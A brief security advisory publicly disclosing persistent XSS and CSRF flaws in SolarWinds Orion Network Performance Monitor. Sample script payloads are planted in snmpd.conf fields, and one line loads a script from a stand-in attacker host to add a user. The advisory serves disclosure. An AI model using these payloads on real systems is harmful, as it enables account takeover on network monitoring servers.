21 Jul 2012: Public disclosure
Vulnerability Details:
SolarWinds Orion Network Performance Monitor (NPM) is vulnerable to persistent XSS when scanning a remote system containing malicious JavaScript in its snmpd.conf file. The vulnerable fields were determined to be:
syslocation <script>alert('location')</script>
syscontact <script>alert('contact')</script>
sysName <script>alert('name')</script>
In addition, NPM is also vulnerable to CSRF attacks despite the fact that it makes use of VIEWSTATE protection.
Through a combination of XSS and CSRF, a user can be added to the web application by configuring the snmpd.conf file to point to an attacker-controlled JavaScript file:
syscontact <script src="http://attacker/evil.js"></script>
